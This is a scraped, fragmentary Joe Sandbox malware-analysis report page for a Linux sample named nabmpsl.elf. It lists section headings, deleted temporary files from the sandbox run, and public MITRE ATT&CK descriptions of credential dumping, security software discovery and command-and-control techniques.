Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0JYIfe (deleted)

/tmp/qemu-open.0ygKXa (deleted)

/tmp/qemu-open.1cAG9a (deleted)

/tmp/qemu-open.3uzGFa (deleted)

/tmp/qemu-open.3z5Zwd (deleted)

/tmp/qemu-open.5DrXpc (deleted)

/tmp/qemu-open.6FaqBb (deleted)

/tmp/qemu-open.7D5YOc (deleted)

/tmp/qemu-open.7yrlBd (deleted)

/tmp/qemu-open.A37PFb (deleted)

/tmp/qemu-open.AiHFbd (deleted)

/tmp/qemu-open.BpiF6a (deleted)

/tmp/qemu-open.CYVTIb (deleted)

/tmp/qemu-open.D10t1b (deleted)

/tmp/qemu-open.Dhytlc (deleted)

/tmp/qemu-open.Dn10rc (deleted)

/tmp/qemu-open.Egn9Mc (deleted)

/tmp/qemu-open.FEE6ya (deleted)

/tmp/qemu-open.FeSaad (deleted)

/tmp/qemu-open.FfeOyd (deleted)

/tmp/qemu-open.FtuKQc (deleted)

/tmp/qemu-open.GanoTd (deleted)

/tmp/qemu-open.HFHhdc (deleted)

/tmp/qemu-open.IGfrMd (deleted)

/tmp/qemu-open.JVdTye (deleted)

/tmp/qemu-open.JnAp8e (deleted)

/tmp/qemu-open.KV4oSa (deleted)

/tmp/qemu-open.KzIQIb (deleted)

/tmp/qemu-open.LZkz9c (deleted)

/tmp/qemu-open.MgHrec (deleted)

/tmp/qemu-open.Mm6oLd (deleted)

/tmp/qemu-open.NITVZe (deleted)

/tmp/qemu-open.NR1u5c (deleted)

/tmp/qemu-open.OBbPcb (deleted)

Linux Analysis Report
nabmpsl.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre